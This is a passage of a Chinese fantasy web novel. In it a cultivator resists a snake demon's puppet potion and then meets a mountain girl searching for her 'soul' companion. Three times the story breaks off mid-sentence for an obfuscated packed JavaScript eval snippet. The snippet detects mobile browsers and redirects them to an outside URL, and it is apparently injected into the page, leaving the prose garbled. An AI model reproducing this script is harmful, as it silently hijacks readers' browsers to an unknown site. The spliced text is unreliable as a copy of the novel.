石老儿明白过来,上前拾起那条还在挣扎的赤虚蛇,道:“我来替主人净化这赤虚妖力。” 亦如空点点头,自己寻了个干净的平台,盘膝坐下,开始设法破解那储物法宝。 何云迢畏惧那突然加入的蛇妖,知道亦如空能拿捏他,便向着亦如空一个劲靠拢。 亦如空一边用灵力破解锦囊,一边道:“你不用怕,他不敢动你。” 柳玉京看着他,冷笑一声,一字一句道:“我恨你。” 亦如空似乎心情愉悦,眸中星亮,嘴角上扬的弧度不减:“那你很幸运,恨这般强烈的情绪,能拥有,也是一件幸事。” 柳玉京用灵力封住自己的耳朵,缩到角落里待着,再也不想听他说一个字。 夕阳彻底隐去,夜色渐稠,石林外夜风呼呼作响,黑暗中难免令人心慌。 何云迢抱着臂,小心翼翼清了清嗓子:“那个,诸位,我想去拾些柴火,生个火堆,诸位有灵力护体,我却……” 亦如空点头:“柳玉京,你去。” 柳玉京在角落里装石头,不动。 亦如空拾起一粒石子弹过去,将他打起来:“去帮他拾柴生火。” 看着暗处亮起一只杀气腾腾的妖眼,何云迢瑟瑟发抖:“要不……要不算了,我还能忍……” 亦如空道:“为何算了?他能去。” 柳玉京蹭地站起来:“适可而止。” 亦如空头也不回:“乖乖听话。” 36.作弄 纵使柳玉京千万般不愿,还是不得不屈服于亦如空的“淫威”之下,任凭其驱使差遣。 在世修炼千百年来,他柳玉京从未受过此等折辱。 一夜过去,蛇妖心中的复仇大计已谋划了无数条,奈何当下一条都使不出来。 时机未到,时机未到。 蛇妖心中默念,银牙咬碎,吃人的目光始终锁在亦如空身上,恨不得用眼神将其炼化。 亦如空完全视若无睹,只专心破解那储物法宝上的法术封印,这个过程,耗去他不少时间。 其实若是要暴力拆解,对他而言,倒也容易,但为了让其顺利为自己所用,只得耐心去破解。 那法术就如同一个自毁装置,稍微不慎,便有可能让储物锦囊四分五裂,其中连接的空间,还有存放的物品,恐怕都会失了联系,或是就此一同崩坏。 想必这储物锦囊的主人,并不想此宝被除自己以外的人打开。 或许里面有要紧之物,又或许,原主人只是不愿自己的东西拱手让人,哪怕毁去,也好过让别人得手。 好在,虽然有些难度,但天亮之时,亦如空还是顺利地解开了锦囊。 其中物品不少,有几样算不得上品的武器,还有数十枚级别不低的妖丹,其中有十几颗,竟都是玄妖级别。 看来,这锦囊主人,生前也是个猎妖取丹之人,能有这样多的收获,他的修为本领恐怕不低,只是倒霉误入那无名死地,死在怨念毒雾的侵蚀之下。 看过妖丹和武器,亦如空才注意到,那储物锦囊中,还有两件不起眼的东西。 是一封书信,还有一粒记事珠。 亦如空展开书信,读完之后,眼中露出些许意外之色,他并不外露,默默将那书信放回锦囊之中。 做完这一切,见柳玉京还是眼也不错地盯着自己,于是道:“你的精神倒是好,以后若有守夜的活,就都交给你了。” 蛇妖闻言,瞪了一夜的眼睛缓缓地翻了过去。 天光照入这山坳里,亦如空迎着晨风起身,弹了弹指节,示意众人起身上路。 这支奇怪的队伍就此出发,数日后,终于离开荒山野岭,到达凡人村镇所在。 何云迢翻开地图,称而今已经进入濮支国的幽竹郡,此郡仍是边陲之地,他们还在幽竹郡边缘的小镇,距离城池尚有距离。 何云迢不愧出自生意人之家,早早为后路做了准备。 他提前从石老儿洞府中带出不少夜明珠,后续无论是采买还是吃饭住宿,都有了依仗,到了驿舍,还用夜明珠换来马车,用以解决行路问题。 不知为何,进入幽竹郡之后,一种莫名的熟悉感再次袭来,亦如空隐隐觉得,这种感觉不是错觉,根据这段时间的经历,这往往意味着,此地又有出乎意料的机缘。 他于是让众人先在此镇停留休整一日,外出时留心探知消息,有怪事之处,要格外加以留意。 何云迢热爱各地风土人情,自然愿意四处闲转,甚至还买来纸笔,作起了游记。 翘枝躲懒不愿练功修行,也不爱吃那难吃的草药丸子,非要跟着何云迢四处闲逛。 他们两个无甚战力,凑在一起只会四处闲玩,也不像能探寻到靠谱消息,于是石老儿只得也去,以求稳妥。 如此一来,落脚的驿舍里,只剩下亦如空和柳玉京。 亦如空自有事要做,不愿看蛇妖在屋内杵着,于是道:“你若闲着无事,就去给我寻一方丹炉来,我有用处。” 若是先前,柳玉京自是不愿,非要跟他争辩对呛几句,但这回,这蛇妖也不知打的什么主意,竟答应得分外爽快。 亦如空淡淡看他一眼。 柳玉京道:“你那是什么眼神?放心吧,我不会跑的,如今你握着我的七寸,我跑又能跑到哪里去?” 亦如空闭起眼睛:“知道就好。” 柳玉京冷哼一声,转头出去了。 闭目调息片刻,亦如空挥手,将门窗合紧,接着,从储物锦囊中取出一个瓷瓶。 那小瓷瓶里,装着从两条死去赤虚身上提取的毒液。至于那条活蛇,还包裹在灵力圈中,和忘尘椎放在一处,在储物锦囊中炼制。 他想了想,将左手手背划出一道伤口,接着倾倒瓷瓶,让那粘稠的毒液自瓶口流出,滴在伤口上。 这赤虚蛇毒扩散极快,剧痛霎时袭来,令亦如空眼前阵阵发黑。 正晕眩间,储物锦囊突然一阵震颤,那枚被亦如空用灵力压缩封死的怨念雾珠,竟自行飞出,其中溢出道道黑雾,直朝他眉心袭来。 怨气入体的感觉让亦如空一惊,他连忙封住左臂穴位,暂停毒液蔓延,调动灵力去封锁雾珠。 纵然他反应迅速,出手果决,还是有不少怨气黑雾侵入了体内。 受此冲击,穴位封锁一松,赤虚之毒也跟着蔓延,扩散到周身脑内。 亦如空双目渐渐失神,最后身形一歪,跌倒在床榻之上。 他蜷缩起来,瑟瑟发抖,意识掉进一片深不见底的泥淖之中。 柳玉京一出门便隐去身形,飞到云上,全速往一处妖怪洞府赶去。 他犹记得自己有一个蜈蚣精老相识,自号傀印星君,他的洞府应当离濮支国不远。 果然,循着妖气,他很快便找到了那处所在, 柳玉京一到洞府门外,便毫不客气地高喊叫门:“傀印那个千脚虫呢?赶紧出来!之前说要献给我傀儡药水,我没接,现在我有大用,速速给我拿来!” 洞口跑出个小妖怪,对着柳玉京拜道:“原来是柳仙大王来了,真不巧,我家大王正在闭关炼毒,您看这……” 柳玉京不耐烦:“我不管,他闭关要紧,还是我的事要紧?赶紧叫他出来见我,不然我就要闯进去自己找了。” 小妖怪正为难,那厢傀印却已听到柳玉京的呼喊,从洞府中闪现而出。 “柳仙大人!您竟然会来小妖这陋地,真是叫我这蓬荜生辉啊。”紫脸膛的蜈蚣精傀印殷勤迎上,客客气气抱拳招呼。 柳玉京掏了掏耳朵,道:“寒暄的话下次再说,我赶时间,之前说的那傀儡药水,你还有没有?” 傀印道:“自然是有的,而且我还加以改良优化,让其效果更加拔群,不管是谁,管他妖力多强,修为多高,只要一滴,都能叫他乖乖听话,任凭驱使。” 柳玉京眼睛发亮:“那再好不过了,赶紧给我一瓶。” 傀印差小妖去取药,自己则打量着柳玉京,好奇道:“柳仙大人,你往常只说自己魅力无边,那妖界的美姬妾,人间的美娇娘们,各个对你爱不释手,从来看不上我这秘药,今日这是……” 柳玉京如何能说出自己的屈辱史,只呵呵一笑,道:“自然是碰上了不听话的硬骨头。” 傀印暧昧一笑:“小的懂,小的懂。” 蜈蚣精接过小妖捧出来的药瓶,恭恭敬敬递给柳玉京,又传授了几个驭傀手诀,笑道:“那就祝柳仙大人成功摘得冰山美人。” 柳玉京将那紫黑的瓷瓶握在手中,如同握着能让自己翻身做主的宝贝,哪还管傀印说些什么,草草应了两声,便立刻往回赶,生怕那恶魔亦如空又找麻烦。 柳玉京回到驿舍,刚到房门外,就察觉不对。 只听其中传来一阵阵压抑的闷哼,似乎房中之人正在忍受极大的痛苦。 柳玉京眉毛一挑,连忙推开房门,只见亦如空正卧在榻上,闭目蜷缩,颤抖不止。 “这是……走火入魔了?” 柳玉京大喜,连忙闪身进入房内,左右一瞄,紧紧关上门。 他得意地踱步到床榻边,居高临下看着亦如空,狞笑道:“天助我也!让你风光几天,算是本大爷心善,权当做好事了,从今天开始,你再也别想在我面前猖狂!” 亦如空无知无觉,仍在毒液与怨气带来的记忆错乱中迷失。 看到他这副样子,柳玉京心情舒畅至极,若不是还有咒印需解,真想就这样慢慢欣赏他受折磨而死。 柳玉京坐到床边,掐着亦如空的下巴,把刚刚找来的傀儡毒药,全给他灌了进去。 亦如空闭目蹙眉,轻轻挣扎两下,便浑身瘫软,没了动静。 柳玉京等了一会儿,抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657107|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起他的一只手臂,抬高,再丢开,看着其软绵绵砸在榻上,嘴角忍不住越扬越高。 “我说过的,你对我所使的手段,我定要你百倍偿还,跟我作对,这就是下场。” 柳玉京得意地拍拍亦如空的脸,按照那傀印所教的,开始掐诀驭傀。 亦如空果然如同布偶傀儡一般,直愣愣从床榻上坐起,双目半开,原本星亮的黑瞳,现下毫无神采,犹如无星无月的漆黑夜空。 柳玉京邪笑道:“给我说,柳大爷厉害,你心服口服。” “柳大爷……厉害……我……心服口服……”亦如空像是个无魂无魄的精美人偶,磕磕巴巴跟着重复。 柳玉京简直快要控制不住狂笑出声,这几日的积攒的恶气,终于能一朝尽出! “看看,这副样子多适合你……要么做个活死人,要么做个无魂傀儡,何其赏心悦目,何其令人愉悦……一旦会说话会做事,就讨人厌得紧。” 他伸手捞起一把亦如空柔滑的长发,拉拉扯扯抚摸起来。 “本来呢,我是准备将你碎尸万段,或是让你被千虫万蛊啃噬,以报我受折磨之仇,但现在看来,你若是能一直保持这副样子,那我留着你在身边,也不是不行……日久天长,我一定能想出很多折腾你的法子……” 蛇妖越想越开心,上扬的独眼中邪光毕露,命令道:“叫主人。” 亦如空半阖着眼睛,乖乖重复:“主人……” 驿舍房门外人来人往,柳玉京咬住食指关节,生怕自己得意的笑声太大,引来不必要的注意。 “这傀印真是立一大功,下回遇见了,得好好赏赏他才是。”柳玉京心中默默道。 待到玩也玩够了,柳玉京终于想起正事,问亦如空道:“你脑子还好使吧?可还记得毁形咒印的解法?” 傀儡亦如空缓缓点头。 柳玉京独眼发亮:“快,立刻为我解了身上的毁形咒。” 傀儡亦如空抬起一只白皙修长的手,做出个握笔的姿势。 柳玉京一愣:“什么意思?要我给你纸笔?” 亦如空停顿半晌,点头。 “啧,麻烦。” 柳玉京无法,只得起身去寻来纸笔,蘸好墨汁,将笔杆塞进亦如空手中,再帮他握好,恶狠狠道:“快点,解咒方法,给我写!” 亦如空慢悠悠抬笔,笔尖落在白纸上。 柳玉京凑到跟前,死死盯住他落笔之处的墨痕。 亦如空慢吞吞地写,柳玉京迫不及待地念。 “做……” 亦如空写完第一个字,又缓缓开始写第二个。 “梦……” “做梦?” 柳玉京一愣,却见那支笔已离开纸张,被那只握笔的手远远抛了出去,看样子并不打算再写第三个字。 他在震惊之中抬头,这才看见,亦如空原本半阖的双眼已然睁开,先前黯淡无光的眼眸中,又泛起那让他恨得牙痒痒的神采。 此刻,亦如空的视线正聚焦在柳玉京脸上,欣赏着他惊讶不已的表情。 那刚刚还听之任之的嘴唇,现在也已抿起,正勾着一丝令人绝望的弧度。 “你……你……” 若不是柳玉京生来从没哭过,实在不知道该怎么哭,这一刻,他还真想不顾形象,痛哭一场。 亦如空一脚将他踹到一边,施施然起身,走下床榻。 他理好被揉乱的衣襟,将长发甩至身后,朝门外走去。 门扉将合之前,亦如空半侧首,从眼角递来一个冰冷的眼神,嗓音低沉:“毁形咒折磨两个时辰,权当对你的惩罚,结束后,再去给我寻丹炉。” 柳玉京还保持着被踹翻的姿势,似乎还未从震惊中回过神来:“等等……为什么……你刚才明明半死不活,而且那傀儡药水,为什么对你无用?” 亦如空冷冷道:“我先前的确出了些岔子,说起来还要感谢你,一瓶毒药入喉,反倒将我从怨气旧忆的迷宫中拖了出来。” 说完,他合上门,扬长而去。 柳玉京倒在地上,抱住脑袋,欲哭无泪。 37.叫魂 亦如空转身离去的背影很决然,很潇洒,何等的强势,令人畏惧,足够震慑那蛇妖,令他不敢再轻举妄动。 只有亦如空自己知道,他眼下正忍受着何种折磨。 先前,意识泥淖中的怨气摧磨,已将他折腾得不轻,此刻,身体里剧毒冲击,又让他经脉剧胀,炙痛不已。 这蛇妖下手也是真狠,那傀儡毒药,应是由数种最毒的毒物炼成,蜈蚣毒、蝎子毒、蛇毒,还有其他亦如空也分辨不出的毒物。 这样浓烈的毒,恐怕一滴就足够折腾人,他竟给自己灌下了一整瓶。 亦如空撑住楼栏,喘息几口,脖颈上泛起一道道紫红的经脉纹路。 太烫,太热…… 水,他需要水,很多的水。 顾不得多想,亦如空运起身形,从驿舍屋后的回廊上跃起,越过屋舍,飞向后方的竹海山林之中。 他掠过那随风起伏的翠色竹涛,等到看见竹荫下的水光波影时,终于忍不住,一头跌落下去。 他凌空坠下,砸弯几根竹梢,带落一篷竹叶,正好坠进一片清溪。 冰凉的溪水包裹着他,终于缓和了些许热痛,但还不够。 亦如空勉强爬起来,蹚水往更深处涉去。 溪流尽头是一处深潭,翠绿幽深,望不见底。 亦如空一头扎进去,放任自己在沁凉的潭水中缓缓下沉。 周身炙痛渐渐缓和,他终于能重新平复思绪,梳理那些涌入的记忆。 这些记忆片段,关于一个老妇人。 在从前拾得的回忆碎片里,她似乎也出现过,在一间简陋的屋舍里,她关切地望着自己,嘘寒问暖。 在虚弥之境的王座上,自己对着还是一粒石子的石老儿提起的,似乎也是她。 她是谁? 想是因为怨气黑雾的干扰,这一回,亦如空记起的,全是糟糕的回忆。 他看见老妇人被杀死在他眼前,看见一把把刀剑,一张张高傲狂妄的脸。 可是,为什么? 她看起来只是一个平凡的老妇人,为何会有那么多修士模样的人来截杀她? 而自己,又为何没能护住她? 画面切换,似乎已经过去很久,他浑身浴血,打上一座山门,手持一把利斧,把那些曾经高傲狂妄的脸,一张张劈碎。 血肉横飞,尸横满地。 最后,他立在血河中,掀开被粘稠血液覆盖的睫羽,眼睁睁看着天雷落下,逼他认错,逼他跪服。 而他不认,不服。 他拼死逃出雷阵,小心翼翼护着什么,一路奔逃,直到寻到一处山谷幽深、竹影婆娑的隐世之地,将那所护之物小心藏匿,再撕裂自己的一缕神魂,为之加护…… 回忆至此,肺中空气耗尽,亦如空猛然睁开眼,划动手臂,钻出水面。 隔着氤氲水汽,他看见一双正注视着自己的眼睛。 那是一双小兽般的眼睛,属于一个看起来只有十六七岁的少女。 少女穿着件打满补丁的粗布短衫,蹲在潭边的大石头上,满眼好奇地看着那水里的怪人。 小鹿一样的天真眼眸,嵌在她被晒得微黑的饱满脸庞上,叫她看起来真如野鹿般机敏灵动。 亦如空少在人间看见这样干净无邪的眼睛,略微一怔。 那少女好似被他吓了一跳,猛地起身,提起手边装满竹笋的背篓,小兽般几个灵活跳跃,离开潭边的大石头,飞也似的跑了。 亦如空看着她矫健的背影消失在婆娑竹海间,心却莫名静下来。 幽竹郡以竹得名,正是因为此地广袤无边的竹海,他当前所在的这小竹镇,更是处在竹海包围之中。 风吹过,漫山竹叶沙沙作响,沉浸其中,叫人心静沉醉。 旧忆的泥淖粘稠苦涩,剧毒的侵蚀灼热烧心,让他根本听不见竹林风声,鸟雀啁啾。 而这一刻,回忆落定,热毒消退,风声鸟鸣终于回到亦如空耳中。 他呼吸一口带着竹香的潮湿空气,内心翻涌的黑沼,终于沉寂下来。 亦如空回到驿舍,发现石老儿一行也已回来,正凑在柳玉京那间房门外。 蛇妖在里头发脾气,朝外扔出几个瓶瓶罐罐。 石老儿见亦如空从廊外潮湿着衣发过来,有些怔愣。 翘枝诧异道:“师父,你又打架去了?” 亦如空摇摇头,随口道:“不小心跌进河里去了。” 这话听着甚像胡诌,不过几人也不多问,只道没事,已买了新衣裳,正好换上。 石老儿隔着门缝看向房内,问道:“主人,那蛇妖怎么了?” “没什么,”亦如空淡淡道,“做了错事,我罚他面壁思过。” “哦……这蛇妖修为甚高,也不知主人是如何认识他,拿住他的。” “道行虽久,心计不够。”亦如空道。 话音刚落,屋里的蛇妖又朝外掷出个茶壶,被亦如空一伸手,稳稳接在掌中。 “小儿脾气,枉修千年。”亦如空又道。 蛇妖哀嚎一声,没了动静。 亦如空不再理会,关紧房门,转问石老儿:“出去一趟,如何?” 石老儿摇头道:“这镇子很小,消息颇为闭塞,都是普通的平民百姓,不见一个修士,若提及什么法宝,那更是无人知晓。” 何云迢道:“也不知仙师要我们留心的怪事是什么,这里百姓安居乐业,街头巷尾秩序井然,看来看去,也不见有什么不对劲的地方。” 翘枝感叹道:“可惜师父没跟我们一起出去,这里虽是小地方,但是很值得一逛呢,近日正是鲜笋上市的时候,街巷菜馆里的花样烹笋,啧啧,简直香得要命,石妖老头说着不吃,最后也吃了两大盘……要不是我怕吓着那些凡人,全程都得闭嘴装哑巴,那就更好了。” 他们说着话,进了另一间房内,何云迢在桌上排出大包小包:“这些都是今日采买的,大多是路上要用到的东西,还给仙师买了几件成衣,要是时间足够,去量身定做当然更好,这小竹镇的裁缝铺手艺不错,不比都城差。” 他献宝似的捧出一个包裹,里头都是新衣新靴,有轻衫罩袍,锦衣绸带,各式各样。 “本地人穿的衣裳,大多紧束,袖短裤短,那样的衣裤,仙师肯定穿不惯,好在我找到这家铺子,什么样式都卖,最后挑出这些来。” 亦如空看着他一一展示,忍不住道:“难为你用心,只是,我哪里需要这么多衣服。” 翘枝立刻道:“当然需要,因为师父你真的颇费衣裳,时不时就要打打架,弄得一身伤,衣裳也是脏了破了,还要勉强穿着,哪里配得上你的气质,多备几件,有备无患嘛,反正咱们如今有钱。” 何云迢也连连点头称是。 买都买来了,亦如空也就不再多说什么,道了声谢,从里头随便捡了件衣袍,预备换上。 这时候,石老儿突然想起什么来,抱着手臂道:“非要说怪事的话,倒是有一件,听那饭馆的伙计说,这镇子附近有一座山,闹鬼。” 翘枝挠挠下巴,道:“是有这事,逛得久了,都快忘了这茬,不过嘛,这种传闻好像也不算什么,跟师父要探知的怪事,想必八竿子打不着。” 何云迢一边理着包袱,一边附和道:“闹鬼的传闻,各地都有,大都是以讹传讹,虚无缥缈的传说,不过,当故事写进游记异闻里倒是不错。” “我问过那伙计,他说是镇子东面有一座山,好像叫……室明山,那山上人迹罕至,只住着一对祖孙俩,据说,那孙女身上有恶灵缠绕,待在镇上时,总是招来厄运,众人如避蛇蝎,她们没有办法,最后只能搬去人迹罕至的深山里,避世而居。” 室明山…… 亦如空默念这个地名,脑中回忆闪过。 他看见不知何时的自己,正立在一块崖石前,看着上头的刻字,刻的是: “举世皆暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663086|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唯一室明。” 亦如空若有所思,问:“这传说是何时有的?” 何云迢道:“唔……大概也就十来年左右,不算很久远,那孙女如今的年纪,估计也就十七八岁,但只是传说如此,谁知道是否真有这样的两个人。” 亦如空默默听了,最后道:“既如此,明日便继续出发吧,只是离开之前,我想去那室明山看一眼。” 小镇不大,室明山也算不得远,就在亦如空曾去过的驿舍后山东面。 两山相连,只是这室明山更加幽深苍郁,竹海密密实实,脚踩下去,不见泥土,俱是厚厚的干枯竹叶。 山中不见道路,看不出有人居住活动的迹象。 进入此山之前,亦如空还碰见一个挖笋的老汉,那老汉看他所去方向,叫住他道:“外乡人,你别再往前了,前头那座室明山,我们本地人从来都不去,那山里呀,有鬼!” 亦如空道:“什么样的鬼,你们可曾见过?” 老汉道:“我是没见过,但是有人见过,那藏在山里的小丫头,身上附着一只恶鬼,但凡是稍微得罪她的,都会被那恶鬼害死,哎哟,很惨的,那小丫头还时不时跟那恶鬼说话,据看见过的人说,那恶鬼身长八尺,青面獠牙,一双赤红鬼眼,真是骇死人了!” 翘枝不信:“真的假的?怎么听着像是编出来吓唬人的……” 老汉眼一瞪,发现亦如空肩上的松鼠竟会讲话,大惊失色,大叫一声“妖怪啊!”,撒腿就往山下跑,背篓里的竹笋都颠出来好几棵。 翘枝捂住嘴巴:“糟糕,忘记了,这里的凡人胆子真小……这么草木皆兵,也难怪会编出这鬼故事自己吓自己。” 亦如空无奈,转身继续往室明山去,口中道:“我得给你制定目标,三个月内,必须化形。” 翘枝惨叫起来:“师父你饶了我吧,我两百多年都没能化形,三个月怎么可能!” “为何不可能?再不可能的事,我也做得。” 翘枝揪住耳朵,恨自己方才多嘴。 进入室明山许久,再未看见一个人影,更未发觉什么闹鬼的迹象,眼前竹海茫茫,似乎永无尽头。 翘枝退缩道:“师父,要不,咱们还是下山去追何少爷他们吧,这里真的什么都没有,传说大概只是传说,再耽搁一阵,马车都不知跑到哪里去了……” 正说着,亦如空忽然抬手,示意翘枝住嘴。 他凝神静听,风中似有人声传来。 翘枝忙住了嘴,跟着默默听声。 风声竹响中,那声音渐渐靠近,待到能听得真切了,才发现那是一个女孩子在叠声呼喊: “魂!你在哪里?魂!” 翘枝挠着脑袋,小声道:“师父,我还是第一次见真正的‘叫魂’,这倒真是一桩怪事。” 亦如空没有说话,随着声音越来越近,一个少女的身形从竹影间慢慢显现出来。 那微黑的皮肤,兽类一样明亮的双眼,亦如空不久前曾见过,不禁一怔:“是她?” 翘枝疑惑:“师父,你何时又认识了这山里的小丫头?” 少女仍是叫喊着,直到看见亦如空。 她止住脚步,闭上嘴,有些怕见生人似的,明亮的双眼怯怯地眨着,揪着手指,似乎想绕路而行。 亦如空问她:“你在找什么?” 小姑娘生涩道:“我找,我的好朋友。” 亦如空道:“你的好朋友,名字是‘魂’?” 小姑娘摇头:“他没有名字,他就是魂。” 亦如空没听明白,小姑娘似乎很焦急,顾不上再与他多说,直接埋头跑了几步,绕过他,继续往山腰竹林深处呼喊寻觅去了。 看着她身后晃来晃去的竹篓,亦如空忽然有种非同寻常的感觉。 此地给他的熟悉感,不同于先前鳞片上的灵力,也不是系于法器的感知,那究竟是什么? 为何,竟会系在这小姑娘身上? 38.老妇 亦如空犹在出神,忽然听见耳边一阵细微的碦拉之声,转头一看,竟是松鼠打起了牙战。 “你怕什么?”亦如空不解。 “师……师父,我突然发现,那些人说的,好像是真的,那个小姑娘,就是他们所讲的鬼故事里的那个!” 亦如空默默看向那少女离去的方向:“那又如何?” “那……那她在找的‘魂’,岂不就是那个杀人如麻的恶鬼……” 风摇竹晃,密林影疏,确实像是会闹鬼的地方。 翘枝瑟瑟发抖,亦如空却向着少女离开的方向跟了上去。 “师父,你要干嘛?” “如此有意思的怪事,不去看看,岂不可惜?” 翘枝发现了,自己这半路勉强拜来的师父,看上去无欲无求,实际心里主意正得很,他兴趣一来,想要去做的事,那还真是谁也变不了,谁也拦不住。 松鼠嘴里嘟嘟囔囔:“行吧,那就看看到底是个什么样的恶鬼,打不打得过我师父。” 竹林太密,女孩的身影很快隐没,翘枝跃上竹梢高枝,在幽篁间轻盈跳跃,尽量跟上亦如空的脚步,为他指明方向。 那女孩穿行林间,确像野兽般敏锐警觉,很快便发现自己被人跟随。 那黑白分明的大眼睛一转,看向梢头的翘枝。 她猛然止住脚步,反手从身后的背篓里抽出一根细竹竿。 那竹竿用篾刀削尖了,如同一根竹制的长枪,她将之攥在手中,绷紧结实的胳膊,一个扭身投掷,尖竹朝着梢头的翘枝直射而来。 她这一连串动作行云流水,那竹枪的速度,比之弓弩也不逊色,翘枝毫不设防,避无可避,大叫一声,直直从竹梢上跌了下来。 好在亦如空已飞身赶至,将松鼠接在手中。 不待喘息,第二根竹枪已朝着亦如空飞来。 亦如空一手攥着翘枝,另一手袍袖一挥,把那尖竹调转了方向,夺的一声,直直扎进另一根竹子里。 少女看了看那被刺穿的竹子,似乎终于发现面前之人身怀神力,不好对付,于是不再攻击第三次,转身就跑。 亦如空踏着那截被他横嵌的竹枝,凌空跃起,月色身影在竹影间一个翻飞,已落在小姑娘的前方。 翘枝犹在惊魂未定:“师父,看不出来,这姑娘竟这般凶狠!” 少女弓起身子,满眼警惕,手里紧握着削尖的竹竿,随时准备脱手而出。 亦如空看着她,轻叹道:“我们没有恶意,你不必紧张。” 少女看看翘枝,又看看亦如空,下结论道:“妖怪,坏人。” 亦如空道:“这松鼠是妖怪不错,但我……” 算不算坏人?他竟然犹豫了。 那少女不听他说,只朝着他挥一挥竹竿的尖端,道:“走,下山,你们。” 亦如空诚恳道:“我们会离开,只是,我想先见一见你那位魂朋友,你现在找不到他,我可以帮你。” 一听这话,小姑娘顿时目光一凛,模样愈发凶悍,狠狠道:“你们,跟那些人一样,想伤害他,我,绝不许!” 少女先前的模样,像是一只羚羊或是野鹿,而此刻的气势,却如同一只小豹子。 圆鼓的胳膊和小腿,积蓄着奔跑在山野间积攒出来的力量,她蓄势待发,似乎无论是谁敢伤害那幽魂,她都要与之拼命。 亦如空不擅长哄小姑娘,也不知如何才能让她暂且信任自己。 正要说话,忽然听见头顶落下一阵尖酸做作的笑声。 亦如空闭了闭眼睛,知道是那蛇妖跑来添乱了。 柳玉京轻飘倒挂在竹梢上,手里捧了个破破烂烂的丹炉,碧色的衣衫让他融进竹叶翠海之中,险些看不分明。 他笑着戏谑道:“我说你跑到哪里去了,原来是诱骗这山中的小姑娘来了,你也一把年纪,怎么这般不知廉耻,回回都冲着年纪小的下手。” 蛇妖不怀好意的目光在亦如空身上流连,啧声道:“竟然还是穿了新衣,装扮过后才来的,可惜样子再好看,内心龌龊……” 那何云迢也是做过富家公子的,品味自是不错,亦如空身着他前日购来的月色袍衫,宽袍大袖,细腰一拢,霁蓝色的飘带随风而舞,独立幽篁,似竹海中一道淡蓝的影,委实飘飘欲仙。 蛇妖眯眼看着,越发不爽。因为他知道,这让他不由自主觉得赏心悦目的人,张嘴说出的话会有多让他讨厌。 果然,只听亦如空懒懒道:“看来你又好了伤疤忘了疼,蛇皮太痒,缺我整治。” 柳玉京见他要抬手施法,不敢再招摇卖弄,赶忙从竹梢上跳下来,一把抓住那要命的右手,使劲往下按。 “别别别,好哥哥,开个玩笑而已,别动气嘛,你翩然若仙,品质高洁,人家知道你绝不是那种人。” 他将那生锈破烂的小丹炉举到亦如空眼前:“你看,我觉也不睡,为你找了一夜的丹炉,寻到后马不停蹄就来找你,此情可叹,此心可鉴啊。” 亦如空将手拔出,把那破丹炉弹开:“没事就去一边玩你的破炉子,我有正事要做。” 柳玉京道:“我可以帮你啊,哄小姑娘是吧,我最擅长对付小姑娘了。” 他说着,转身就要朝那少女走去,刚迈出一步,少女手中的竹竿已经脱手飞出,深深钉在他脚边。 柳玉京连忙停住脚步,挑眉道:“这么凶?兄弟,你能不能不要每次都找这种硬骨头……” 翘枝扶额:“师父,他这么一来,我们真的好像欺负女孩子的坏人啊。” 柳玉京当没听到,朝着少女勾唇一笑:“姑娘,别怕,我是好人,别这么剑拔弩张的,咱们好好说话,慢慢聊。” 少女瞪着他:“你,比他,更像坏人。” 柳玉京一噎:“瞎说,他哪里看起来比我善良了?你是不知道,他有多心狠手辣……” 他还要往前,又是一根竹竿飞来,狠狠扎进他脚尖前方地面。 蛇妖目中一寒,把丹炉一扔,捏着指骨道:“乡野小丫头,敬酒不吃吃罚酒。” 柳玉京凶相毕露,就要出手伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671717|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,亦如空正待收拾他,忽听一声鸣镝穿云之响,那少女一愣,仰头望去,嘴里念了声“奶奶”,不再同他们纠缠,转头便跑。 亦如空想要跟上,柳玉京却拦他:“别忙着追小姑娘了,你的凡人朋友和石妖老头,好像遇上麻烦了,赶紧去救吧,我来的时候,见他们正被人为难,难以脱身呢。” 亦如空皱眉看他:“你既看到了,为何不帮忙?” 柳玉京理所当然道:“我为何要帮?我只需守好你就行了,不是么?我已经想通了,既然挣扎不动,那就躺平享受,我打算就此坚贞不二,此生只贴身侍奉你一人,予取予求,任你为所欲为。” 简直不堪入耳,亦如空懒得理他,提着翘枝飞身而起,跃上竹海上方,朝山下赶去。 柳玉京在后头叫喊:“等等,我送你的丹炉!” 亦如空头也不回地飞远。 见他身影消失不见,蛇妖冷笑一声,摁着手指,默念道:“你这一路行来,到底在找什么呢?肯定对你很重要吧,如果,我先得手呢……” 他扭头朝山上看去,就在亦如空和那乡野丫头离去后,那山上密竹间,有道黯影一闪而过。 柳玉京将之看在眼中,隐匿身形,追了上去。 亦如空脚踏竹浪,一路如蜻蜓点水,很快就到了山下大路。 此处已至镇外,路上行人车马不多,他很快就找到了何云迢的马车。 